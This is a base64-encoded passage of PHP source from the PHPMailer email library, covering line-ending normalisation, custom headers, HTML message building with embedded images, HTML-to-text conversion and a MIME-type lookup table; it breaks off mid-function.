IGZ1bmN0aW9uIGlzRXJyb3IoKQogICAgewogICAgICAgIHJldHVybiAoJHRoaXMtPmVycm9yX2NvdW50ID4gMCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbnN1cmUgY29uc2lzdGVudCBsaW5lIGVuZGluZ3MgaW4gYSBzdHJpbmcuCiAgICAgKiBDaGFuZ2VzIGV2ZXJ5IGVuZCBvZiBsaW5lIGZyb20gQ1JMRiwgQ1Igb3IgTEYgdG8gJHRoaXMtPkxFLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciBTdHJpbmcgdG8gZml4RU9MCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZml4RU9MKCRzdHIpCiAgICB7CiAgICAgICAgLy8gTm9ybWFsaXNlIHRvIFxuCiAgICAgICAgJG5zdHIgPSBzdHJfcmVwbGFjZShhcnJheSgiXHJcbiIsICJcciIpLCAiXG4iLCAkc3RyKTsKICAgICAgICAvLyBOb3cgY29udmVydCBMRSBhcyBuZWVkZWQKICAgICAgICBpZiAoJHRoaXMtPkxFICE9PSAiXG4iKSB7CiAgICAgICAgICAgICRuc3RyID0gc3RyX3JlcGxhY2UoIlxuIiwgJHRoaXMtPkxFLCAkbnN0cik7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbnN0cjsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBhIGN1c3RvbSBoZWFkZXIuCiAgICAgKiAkbmFtZSB2YWx1ZSBjYW4gYmUgb3ZlcmxvYWRlZCB0byBjb250YWluCiAgICAgKiBib3RoIGhlYWRlciBuYW1lIGFuZCB2YWx1ZSAobmFtZTp2YWx1ZSkKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lIEN1c3RvbSBoZWFkZXIgbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkdmFsdWUgSGVhZGVyIHZhbHVlCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZEN1c3RvbUhlYWRlcigkbmFtZSwgJHZhbHVlID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoJHZhbHVlID09PSBudWxsKSB7CiAgICAgICAgICAgIC8vIFZhbHVlIHBhc3NlZCBpbiBhcyBuYW1lOnZhbHVlCiAgICAgICAgICAgICR0aGlzLT5DdXN0b21IZWFkZXJbXSA9IGV4cGxvZGUoJzonLCAkbmFtZSwgMik7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPkN1c3RvbUhlYWRlcltdID0gYXJyYXkoJG5hbWUsICR2YWx1ZSk7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJucyBhbGwgY3VzdG9tIGhlYWRlcnMuCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDdXN0b21IZWFkZXJzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPkN1c3RvbUhlYWRlcjsKICAgIH0KCiAgICAvKioKICAgICAqIENyZWF0ZSBhIG1lc3NhZ2UgZnJvbSBhbiBIVE1MIHN0cmluZy4KICAgICAqIEF1dG9tYXRpY2FsbHkgbWFrZXMgbW9kaWZpY2F0aW9ucyBmb3IgaW5saW5lIGltYWdlcyBhbmQgYmFja2dyb3VuZHMKICAgICAqIGFuZCBjcmVhdGVzIGEgcGxhaW4tdGV4dCB2ZXJzaW9uIGJ5IGNvbnZlcnRpbmcgdGhlIEhUTUwuCiAgICAgKiBPdmVyd3JpdGVzIGFueSBleGlzdGluZyB2YWx1ZXMgaW4gJHRoaXMtPkJvZHkgYW5kICR0aGlzLT5BbHRCb2R5CiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkbWVzc2FnZSBIVE1MIG1lc3NhZ2Ugc3RyaW5nCiAgICAgKiBAcGFyYW0gc3RyaW5nICRiYXNlZGlyIGJhc2VsaW5lIGRpcmVjdG9yeSBmb3IgcGF0aAogICAgICogQHBhcmFtIGJvb2xlYW58Y2FsbGFibGUgJGFkdmFuY2VkIFdoZXRoZXIgdG8gdXNlIHRoZSBpbnRlcm5hbCBIVE1MIHRvIHRleHQgY29udmVydGVyCiAgICAgKiAgICBvciB5b3VyIG93biBjdXN0b20gY29udmVydGVyIEBzZWUgUEhQTWFpbGVyOjpodG1sMnRleHQoKQogICAgICogQHJldHVybiBzdHJpbmcgJG1lc3NhZ2UKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIG1zZ0hUTUwoJG1lc3NhZ2UsICRiYXNlZGlyID0gJycsICRhZHZhbmNlZCA9IGZhbHNlKQogICAgewogICAgICAgIHByZWdfbWF0Y2hfYWxsKCcvKHNyY3xiYWNrZ3JvdW5kKT1bIlwnXSguKilbIlwnXS9VaScsICRtZXNzYWdlLCAkaW1hZ2VzKTsKICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkaW1hZ2VzKSkgewogICAgICAgICAgICBmb3JlYWNoICgkaW1hZ2VzWzJdIGFzICRpbWdpbmRleCA9PiAkdXJsKSB7CiAgICAgICAgICAgICAgICAvLyBDb252ZXJ0IGRhdGEgVVJJcyBpbnRvIGVtYmVkZGVkIGltYWdlcwogICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJyNeZGF0YTooaW1hZ2VbXjssXSopKDtiYXNlNjQpPywjJywgJHVybCwgJG1hdGNoKSkgewogICAgICAgICAgICAgICAgICAgICRkYXRhID0gc3Vic3RyKCR1cmwsIHN0cnBvcygkdXJsLCAnLCcpKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJG1hdGNoWzJdKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRkYXRhID0gYmFzZTY0X2RlY29kZSgkZGF0YSk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSByYXd1cmxkZWNvZGUoJGRhdGEpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkY2lkID0gbWQ1KCR1cmwpIC4gJ0BwaHBtYWlsZXIuMCc7IC8vIFJGQzIzOTIgUyAyCiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRTdHJpbmdFbWJlZGRlZEltYWdlKCRkYXRhLCAkY2lkLCAnZW1iZWQnIC4gJGltZ2luZGV4LCAnYmFzZTY0JywgJG1hdGNoWzFdKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9IHN0cl9yZXBsYWNlKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGltYWdlc1swXVskaW1naW5kZXhdLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGltYWdlc1sxXVskaW1naW5kZXhdIC4gJz0iY2lkOicgLiAkY2lkIC4gJyInLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR1cmwsIDAsIDQpICE9PSAnY2lkOicgJiYgIXByZWdfbWF0Y2goJyNeW0Etel0rOi8vIycsICR1cmwpKSB7CiAgICAgICAgICAgICAgICAgICAgLy8gRG8gbm90IGNoYW5nZSB1cmxzIGZvciBhYnNvbHV0ZSBpbWFnZXMgKHRoYW5rcyB0byBjb3J2dXNjb3JheCkKICAgICAgICAgICAgICAgICAgICAvLyBEbyBub3QgY2hhbmdlIHVybHMgdGhhdCBhcmUgYWxyZWFkeSBpbmxpbmUgaW1hZ2VzCiAgICAgICAgICAgICAgICAgICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJHVybCk7CiAgICAgICAgICAgICAgICAgICAgJGRpcmVjdG9yeSA9IGRpcm5hbWUoJHVybCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRkaXJlY3RvcnkgPT0gJy4nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRkaXJlY3RvcnkgPSAnJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJGNpZCA9IG1kNSgkdXJsKSAuICdAcGhwbWFpbGVyLjAnOyAvLyBSRkMyMzkyIFMgMgogICAgICAgICAgICAgICAgICAgIGlmIChzdHJsZW4oJGJhc2VkaXIpID4gMSAmJiBzdWJzdHIoJGJhc2VkaXIsIC0xKSAhPSAnLycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGJhc2VkaXIgLj0gJy8nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRkaXJlY3RvcnkpID4gMSAmJiBzdWJzdHIoJGRpcmVjdG9yeSwgLTEpICE9ICcvJykgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5IC49ICcvJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRFbWJlZGRlZEltYWdlKAogICAgICAgICAgICAgICAgICAgICAgICAkYmFzZWRpciAuICRkaXJlY3RvcnkgLiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICRjaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgJ2Jhc2U2NCcsCiAgICAgICAgICAgICAgICAgICAgICAgIHNlbGY6Ol9taW1lX3R5cGVzKChzdHJpbmcpc2VsZjo6bWJfcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSBwcmVnX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLycgLiAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPVsiXCddJyAuIHByZWdfcXVvdGUoJHVybCwgJy8nKSAuICdbIlwnXS9VaScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZQogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkdGhpcy0+aXNIVE1MKHRydWUpOwogICAgICAgIC8vIENvbnZlcnQgYWxsIG1lc3NhZ2UgYm9keSBsaW5lIGJyZWFrcyB0byBDUkxGLCBtYWtlcyBxdW90ZWQtcHJpbnRhYmxlIGVuY29kaW5nIHdvcmsgbXVjaCBiZXR0ZXIKICAgICAgICAkdGhpcy0+Qm9keSA9ICR0aGlzLT5ub3JtYWxpemVCcmVha3MoJG1lc3NhZ2UpOwogICAgICAgICR0aGlzLT5BbHRCb2R5ID0gJHRoaXMtPm5vcm1hbGl6ZUJyZWFrcygkdGhpcy0+aHRtbDJ0ZXh0KCRtZXNzYWdlLCAkYWR2YW5jZWQpKTsKICAgICAgICBpZiAoZW1wdHkoJHRoaXMtPkFsdEJvZHkpKSB7CiAgICAgICAgICAgICR0aGlzLT5BbHRCb2R5ID0gJ1RvIHZpZXcgdGhpcyBlbWFpbCBtZXNzYWdlLCBvcGVuIGl0IGluIGEgcHJvZ3JhbSB0aGF0IHVuZGVyc3RhbmRzIEhUTUwhJyAuCiAgICAgICAgICAgICAgICBzZWxmOjpDUkxGIC4gc2VsZjo6Q1JMRjsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0aGlzLT5Cb2R5OwogICAgfQoKICAgIC8qKgogICAgICogQ29udmVydCBhbiBIVE1MIHN0cmluZyBpbnRvIHBsYWluIHRleHQuCiAgICAgKiBUaGlzIGlzIHVzZWQgYnkgbXNnSFRNTCgpLgogICAgICogTm90ZSAtIG9sZGVyIHZlcnNpb25zIG9mIHRoaXMgZnVuY3Rpb24gdXNlZCBhIGJ1bmRsZWQgYWR2YW5jZWQgY29udmVydGVyCiAgICAgKiB3aGljaCB3YXMgYmVlbiByZW1vdmVkIGZvciBsaWNlbnNlIHJlYXNvbnMgaW4gIzIzMgogICAgICogRXhhbXBsZSB1c2FnZToKICAgICAqIDxjb2RlPgogICAgICogLy8gVXNlIGRlZmF1bHQgY29udmVyc2lvbgogICAgICogJHBsYWluID0gJG1haWwtPmh0bWwydGV4dCgkaHRtbCk7CiAgICAgKiAvLyBVc2UgeW91ciBvd24gY3VzdG9tIGNvbnZlcnRlcgogICAgICogJHBsYWluID0gJG1haWwtPmh0bWwydGV4dCgkaHRtbCwgZnVuY3Rpb24oJGh0bWwpIHsKICAgICAqICAgICAkY29udmVydGVyID0gbmV3IE15SHRtbDJ0ZXh0KCRodG1sKTsKICAgICAqICAgICByZXR1cm4gJGNvbnZlcnRlci0+Z2V0X3RleHQoKTsKICAgICAqIH0pOwogICAgICogPC9jb2RlPgogICAgICogQHBhcmFtIHN0cmluZyAkaHRtbCBUaGUgSFRNTCB0ZXh0IHRvIGNvbnZlcnQKICAgICAqIEBwYXJhbSBib29sZWFufGNhbGxhYmxlICRhZHZhbmNlZCBBbnkgYm9vbGVhbiB2YWx1ZSB0byB1c2UgdGhlIGludGVybmFsIGNvbnZlcnRlciwKICAgICAqICAgb3IgcHJvdmlkZSB5b3VyIG93biBjYWxsYWJsZSBmb3IgY3VzdG9tIGNvbnZlcnNpb24uCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaHRtbDJ0ZXh0KCRodG1sLCAkYWR2YW5jZWQgPSBmYWxzZSkKICAgIHsKICAgICAgICBpZiAoaXNfY2FsbGFibGUoJGFkdmFuY2VkKSkgewogICAgICAgICAgICByZXR1cm4gY2FsbF91c2VyX2Z1bmMoJGFkdmFuY2VkLCAkaHRtbCk7CiAgICAgICAgfQogICAgICAgIHJldHVybiBodG1sX2VudGl0eV9kZWNvZGUoCiAgICAgICAgICAgIHRyaW0oc3RyaXBfdGFncyhwcmVnX3JlcGxhY2UoJy88KGhlYWR8dGl0bGV8c3R5bGV8c2NyaXB0KVtePl0qPi4qPzxcL1xcMT4vc2knLCAnJywgJGh0bWwpKSksCiAgICAgICAgICAgIEVOVF9RVU9URVMsCiAgICAgICAgICAgICR0aGlzLT5DaGFyU2V0CiAgICAgICAgKTsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCB0aGUgTUlNRSB0eXBlIGZvciBhIGZpbGUgZXh0ZW5zaW9uLgogICAgICogQHBhcmFtIHN0cmluZyAkZXh0IEZpbGUgZXh0ZW5zaW9uCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBzdHJpbmcgTUlNRSB0eXBlIG9mIGZpbGUuCiAgICAgKiBAc3RhdGljCiAgICAgKi8KICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gX21pbWVfdHlwZXMoJGV4dCA9ICcnKQogICAgewogICAgICAgICRtaW1lcyA9IGFycmF5KAogICAgICAgICAgICAneGwnICAgID0+ICdhcHBsaWNhdGlvbi9leGNlbCcsCiAgICAgICAgICAgICdqcycgICAgPT4gJ2FwcGxpY2F0aW9uL2phdmFzY3JpcHQnLAogICAgICAgICAgICAnaHF4JyAgID0+ICdhcHBsaWNhdGlvbi9tYWMtYmluaGV4NDAnLAogICAgICAgICAgICAnY3B0JyAgID0+ICdhcHBsaWNhdGlvbi9tYWMtY29tcGFjdHBybycsCiAgICAgICAgICAgICdiaW4nICAgPT4gJ2FwcGxpY2F0aW9uL21hY2JpbmFyeScsCiAgICAgICAgICAgICdkb2MnICAgPT4gJ2FwcGxpY2F0aW9uL21zd29yZCcsCiAgICAgICAgICAgICd3b3JkJyAgPT4gJ2FwcGxpY2F0aW9uL21zd29yZCcsCiAgICAgICAgICAgICd4bHN4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5zcHJlYWRzaGVldG1sLnNoZWV0JywKICAgICAgICAgICAgJ3hsdHgnICA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnNwcmVhZHNoZWV0bWwudGVtcGxhdGUnLAogICAgICAgICAgICAncG90eCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQucHJlc2VudGF0aW9ubWwudGVtcGxhdGUnLAogICAgICAgICAgICAncHBzeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQucHJlc2VudGF0aW9ubWwuc2xpZGVzaG93JywKICAgICAgICAgICAgJ3BwdHgnICA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnByZXNlbnRhdGlvbicsCiAgICAgICAgICAgICdzbGR4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5wcmVzZW50YXRpb25tbC5zbGlkZScsCiAgICAgICAgICAgICdkb2N4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC53b3JkcHJvY2Vzc2luZ21sLmRvY3VtZW50JywKICAgICAgICAgICAgJ2RvdHgnICA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LndvcmRwcm9jZXNzaW5nbWwudGVtcGxhdGUnLAogICAgICAgICAgICAneGxhbScgID0+ICdhcHBsaWNhdGlvbi92bmQubXMtZXhjZWwuYWRkaW4ubWFjcm9FbmFibGVkLjEyJywKICAgICAgICAgICAgJ3hsc2InICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsLnNoZWV0LmJpbmFyeS5tYWNyb0VuYWJsZWQuMTInLAogICAgICAgICAgICAnY2xhc3MnID0+ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLAogICAgICAgICAgICAnZGxsJyAgID0+ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLAogICAgICAgICAgICAnZG1zJyAgID0+ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLAogICAgICAgICAgICAnZXhlJyAgID0+ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLAogICAgICAgICAgICAnbGhhJyAgID0+ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLAogICAgICAgICAgICAnbHpoJyAgID0+ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLAogICAgICAgICAgICAncHNkJyAgID0+ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLAogICAgICAgICAgICAnc2VhJyAgID0+ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLAogICAgICAgICAgICAnc28nICAgID0+ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLAogICAgICAgICAgICAnb2RhJyAgID0+ICdhcHBsaWNhdGlvbi9vZGEnLAogICAgICAgICAgICAncGRmJyAgID0+ICdhcHBsaWNhdGlvbi9wZGYnLAogICAgICAgICAgICAnYWknICAgID0+ICdhcHBsaWNhdGlvbi9wb3N0c2NyaXB0JywKICAgICAgICAgICAgJ2VwcycgICA9PiAnYXBwbGljYXRpb24vcG9zdHNjcmlwdCcsCiAgICAgICAgICAgICdwcycgICAgPT4gJ2FwcGxpY2F0aW9uL3Bvc3RzY3JpcHQnLAogICAgICAgICAgICAnc21pJyAgID0+ICdhcHBsaWNhdGlvbi9zbWlsJywKICAgICAgICAgICAgJ3NtaWwnICA9PiAnYXBwbGljYXRpb24vc21pbCcsCiAgICAgICAgICAgICdtaWYnICAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5taWYnLAogICAgICAgICAgICAneGxzJyAgID0+ICdhcHBsaWNhdGlvbi92bmQubXMtZXhjZWwnLAogICAgICAgICAgICAncHB0JyAgID0+ICdhcHBsaWNhdGlvbi92bmQubXMtcG93ZXJwb2ludCcsCiAgICAgICAgICAgICd3YnhtbCcgPT4gJ2FwcGxpY2F0aW9uL3ZuZC53YXAud2J4bWwnLAogICAgICAgICAgICAnd21sYycgID0+ICdhcHBsaWNhdGlvbi92bmQud2FwLndtbGMnLAogICAgICAgICAgICAnZGNyJyAgID0+ICdhcHBsaWNhdGlvbi94LWRpcmVjdG9yJywKICAgICAgICAgICAgJ2RpcicgICA9PiAnYXBwbGljYXRpb24veC1kaXJlY3RvcicsCiAgICAgICAgICAgICdkeHInICAgPT4gJ2FwcGxpY2F0aW9uL3gtZGlyZWN0b3InLAogICAgICAgICAgICAnZHZpJyAgID0+ICdhcHBsaWNhdGlvbi94LWR2aScsCiAgICAgICAgICAgICdndGFyJyAgPT4gJ2FwcGxpY2F0aW9uL3gtZ3RhcicsCiAgICAgICAgICAgICdwaHAzJyAgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwJywKICAgICAgICAgICAgJ3BocDQnICA9PiAnYXBwbGljYXRpb24veC1odHRwZC1waHAnLAogICAgICAgICAgICAncGhwJyAgID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsCiAgICAgICAgICAgICdwaHRtbCcgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwJywKICAgICAgICAgICAgJ3BocHMnICA9PiAnYXBwbGljYXRpb24veC1odHRwZC1waHAtc291cmNlJywKICAgICAgICAgICAgJ3N3ZicgICA9PiAnYXBwbGljYXRpb24veC1zaG9ja3dhdmUtZmxhc2gnLAogICAgICAgICAgICAnc2l0JyAgID0+ICdhcHBsaWNhdGlvbi94LXN0dWZmaXQnLAogICAgICAgICAgICAndGFyJyAgID0+ICdhcHBsaWNhdGlvbi94LXRhcicsCiAgICAgICAgICAgICd0Z3onICAgPT4gJ2FwcGxpY2F0aW9uL3gtdGFyJywKICAgICAgICAgICAgJ3hodCcgICA9PiAnYXBwbGljYXRpb24veGh0bWwreG1sJywKICAgICAgICAgICAgJ3hodG1sJyA9PiAnYXBwbGljYXRpb24veGh0bWwreG1sJywKICAgICAgICAgICAgJ3ppcCcgICA9PiAnYXBwbGljYXRpb24vemlwJywKICAgICAgICAgICAgJ21pZCcgICA9PiAnYXVkaW8vbWlkaScsCiAgICAgICAgICAgICdtaWRpJyAgPT4gJ2F1ZGlvL21pZGknLAogICAgICAgICAgICAnbXAyJyAgID0+ICdhdWRpby9tcGVnJywKICAgICAgICAgICAgJ21wMycgICA9PiAnYXVkaW8vbXBlZycsCiAgICAgICAgICAgICdtcGdhJyAgPT4gJ2F1ZGlvL21wZWcnLAogICAgICAgICAgICAnYWlmJyAgID0+ICdhdWRpby94LWFpZmYnLAogICAgICAgICAgICAnYWlmYycgID0+ICdhdWRpby94LWFpZmYnLAogICAgICAgICAgICAnYWlmZicgID0+ICdhdWRpby94LWFpZmYnLAogICAgICAgICAgICAncmFtJyAgID0+ICdhdWRpby94LXBuLXJlYWxhdWRpbycsCiAgICAgICAgICAgICdybScgICAgPT4gJ2F1ZGlvL3gtcG4tcmVhbGF1ZGlvJywKICAgICAgICAgICAgJ3JwbScgICA9PiAnYXVkaW8veC1wbi1yZWFsYXVkaW8tcGx1Z2luJywKICAgICAgICAgICAgJ3JhJyAgICA9PiAnYXVkaW8veC1yZWFsYXVkaW8nLAogICAgICAgICAgICAnd2F2JyAgID0+ICdhdWRpby94LXdhdicsCiAgICAgICAgICAgICdibXAnICAgPT4gJ2ltYWdlL2JtcCcsCiAgICAgICAgICAgICdnaWYnICAgPT4gJ2ltYWdlL2dpZicsCiAgICAgICAgICAgICdqcGVnJyAgPT4gJ2ltYWdlL2pwZWcnLAogICAgICAgICAgICAnanBlJyAgID0+ICdpbWFnZS9qcGVnJywKICAgICAgICAgICAgJ2pwZycgICA9PiAnaW1hZ2UvanBlZycsCiAgICAgICAgICAgICdwbmcnICAgPT4gJ2ltYWdlL3BuZycsCiAgICAgICAgICAgICd0aWZmJyAgPT4gJ2ltYWdlL3RpZmYnLAogICAgICAgICAgICAndGlmJyAgID0+ICdpbWFnZS90aWZmJywKICAgICAgICAgICAgJ2VtbCcgICA9PiAnbWVzc2FnZS9yZmM4MjInLAogICAgICAgICAgICAnY3NzJyAgID0+ICd0ZXh0L2NzcycsCiAgICAgICAgICAgICdodG1sJyAgPT4gJ3RleHQvaHRtbCcsCiAgICAgICAgICAgICdodG0nICAgPT4gJ3RleHQvaHRtbCcsCiAgICAgICAgICAgICdzaHRtbCcgPT4gJ3RleHQvaHRtbCcsCiAgICAgICAgICAgICdsb2cnICAgPT4gJ3RleHQvcGxhaW4nLAogICAgICAgICAgICAndGV4dCcgID0+ICd0ZXh0L3BsYWluJywKICAgICAgICAgICAgJ3R4dCcgICA9PiAndGV4dC9wbGFpbicsCiAgICAgICAgICAgICdydHgnICAgPT4gJ3RleHQvcmljaHRleHQnLAogICAgICAgICAgICAncnRmJyAgID0+ICd0ZXh0L3J0ZicsCiAgICAgICAgICAgICd2Y2YnICAgPT4gJ3RleHQvdmNhcmQnLAogICAgICAgICAgICAndmNhcmQnID0+ICd0ZXh0L3ZjYXJkJywKICAgICAgICAgICAgJ3htbCcgICA9PiAndGV4dC94bWwnLAogICAgICAgICAgICAneHNsJyAgID0+ICd0ZXh0L3htbCcsCiAgICAgICAgICAgICdtcGVnJyAgPT4gJ3ZpZGVvL21wZWcnLAogICAgICAgICAgICAnbXBlJyAgID0+ICd2aWRlby9tcGVnJywKICAgICAgICAgICAgJ21wZycgICA9PiAndmlkZW8vbXBlZycsCiAgICAgICAgICAgICdtb3YnICAgPT4gJ3ZpZGVvL3F1aWNrdGltZScsCiAgICAgICAgICAgICdxdCcgICAgPT4gJ3ZpZGVvL3F1aWNrdGltZScsCiAgICAgICAgICAgICdydicgICAgPT4gJ3ZpZGVvL3ZuZC5ybi1yZWFsdmlkZW8nLAogICAgICAgICAgICAnYXZpJyAgID0+ICd2aWRlby94LW1zdmlkZW8nLAogICAgICAgICAgICAnbW92aWUnID0+ICd2aWRlby94LXNnaS1tb3ZpZScKICAgICAgICApOwogICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGV4dCksICRtaW1lcykpIHsKICAgICAgICAgICAgcmV0dXJuICRtaW1lc1tzdHJ0b2xvd2VyKCRleHQpXTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nOwogICAgfQoKICAgIC8qKgogICAgICogTWFwIGEgZmlsZSBuYW1lIHRvIGEgTUlNRSB0eXBlLgogICAgICogRGVmYXVsdHMgdG8gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScsIGkuZS4uIGFyYml0cmFyeSBiaW5hcnkgZGF0YS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lIEEgZmlsZSBuYW1lIG9yIGZ1bGwgcGF0aCwgZG9lcyBub3QgbmVlZCB0byBleGlzdCBhcyBhIGZpbGUKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKiBAc3RhdGljCiAgICAgKi8KICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZmlsZW5hbWVUb1R5cGUoJGZpbGVuYW1lKQogICAgewogICAgICAgIC8vIEluIGNhc2UgdGhlIHBhdGggaXMgYSBVUkwsIHN0cmlwIGFueSBxdWVyeSBzdHJpbmcgYmVmb3JlIGdldHRpbmcgZXh0ZW5zaW9uCiAgICAgICAgJHFwb3MgPSBzdHJwb3MoJGZpbGVuYW1lLCAnPycpOwogICAgICAgIGlmIChmYWxzZSAhPT0gJHFwb3MpIHsKICAgICAgICAgICAgJGZpbGVuYW1lID0gc3Vic3RyKCRmaWxlbmFtZSwgMCwgJHFwb3MpOwogICAgICAgIH0KICAgICAgICAkcGF0aGluZm8gPSBzZWxmOjptYl9wYXRoaW5mbygkZmlsZW5hbWUpOwogICAgICAgIHJldHVybiBzZWxmOjpfbWltZV90eXBlcygkcGF0aGluZm9bJ2V4dGVuc2lvbiddKTsKICAgIH0KCiAgICAvKioKICAgICAqIE11bHRpLWJ5dGUtc2FmZSBwYXRoaW5mbyByZXBsYWNlbWVudC4KICAgICAqIERyb3AtaW4gcmVwbGFjZW1lbnQgZm9yIHBhdGhpbmZvKCksIGJ1dCBtdWx0aWJ5dGUtc2FmZSwgY3Jvc3MtcGxhdGZvcm0tc2FmZSwgb2xkLXZlcnNpb24tc2FmZS4KICAgICAqIFdvcmtzIHNpbWlsYXJseSB0byB0aGUgb25lIGluIFBIUCA+PSA1LjIuMAogICAgICogQGxpbmsgaHR0cDovL3d3dy5waHAubmV0L21hbnVhbC9lbi9mdW5jdGlvbi5wYXRoaW5mby5waHAjMTA3NDYxCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoIEEgZmlsZW5hbWUgb3IgcGF0aCwgZG9lcyBub3QgbmVlZCB0byBleGlzdCBhcyBhIGZpbGUKICAgICAqIEBwYXJhbSBpbnRlZ2VyfHN0cmluZyAkb3B0aW9ucyBFaXRoZXIgYSBQQVR